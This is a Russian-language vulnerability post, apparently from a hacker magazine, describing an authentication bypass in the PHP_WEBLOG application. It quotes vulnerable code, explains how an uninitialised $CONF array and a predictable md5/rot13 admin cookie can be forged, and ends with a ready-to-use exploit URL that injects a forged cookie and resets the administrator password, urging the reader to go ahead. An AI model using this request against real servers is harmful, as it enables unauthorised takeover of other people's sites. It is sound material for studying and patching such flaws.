Привет ПереЦ!

Свеженькая дырка в PHP_WEBLOG
дает порулить удаленным серваком с правами
админа. Проблема: в common.inc.php, $CONF не правильно
проинициализирован как массив, позволяющий
таким образом изменять содержание
передаваемой строки, чтобы обойти
аутентификацию администратора.

Описание:
фрагмент common.inc.php:
<quote>/*== read in configuration data ==*/
$sql    = "SELECT * FROM T_Config";
$result = @mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);
for ($i=0;$i<$nrows;$i++) {
        $A      =
mysql_fetch_array($result);
        $CONF[$A["Name"]] = $A["Value"];}
        </quote>
Последняя передаваемая позиция является
"языком", так что, если наш язык
устанавливается, чтобы быть "английским",
все величины $CONF возвратятся в 'e'.

фрагмент auth.inc.php:
<quote>} elseif (!F_isAdmin()) {
        include("../include/header.inc.php");
              
if (!empty($warn)) {
              
F_logAccess("Failed login");
              
F_notice("Invalid password. Try again.");
                     
}(...)
(admin authenticated)
</quote>

Фрагмент common.inc.php:
<quote>function F_isAdmin() {
        global  $HTTP_COOKIE_VARS,$CONF;
        $name   = md5($CONF["SiteKey"]
. "_admin");
        #echo $HTTP_COOKIE_VARS[$name];
        #echo crypt("admin",$CONF["SiteKey"]);
        return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"]))
? 1 :0);}
</quote>

Как мы можем здесь видеть,
аутентификация основывается на
сопоставлении данных с величинами $CONF, так
что мы будем делать? Вычисляем md5() "<первый
символ языка>_admin". вычисляем md5(rot13("<первый
символ языка>")).

Фрагмент submit.php:
<quote>
case "config-extend":
        $tmp    = urlencode("Changes
Saved.");
        if (!empty($Passwd) || !empty($Passwd2))
{
               
if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) {
                       
$sql    = "UPDATE T_Config set ";
                       
$sql    .= "Value = '" .
md5($HTTP_POST_VARS["Passwd"]) . "' ";
                       
$sql    .= "WHERE Name = 'Passwd'";
                       
$RET    = @mysql_query($sql,$db);
                       
(...)
(admin password changed)
</quote>
На основании вышесказанного - пример
передаваемой строки
http://phpweblog.deadserver.com/submit.php?CONF= anything&HTTP_COOKIE_VARS[7f15a2e7f0a543eacb3efbd098ced7f2]=
4b43b0aee35624cd95b910189b3dc231&what= config-extend&HTTP_POST_VARS[Passwd]=
mypass&HTTP_POST_VARS[Passwd2]=mypass&Passwd=mypas
s&Passwd2= mypass

Вперед и с песней мой
дорогой виртуальный друг.

ТHATS ALL FOLKS...

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии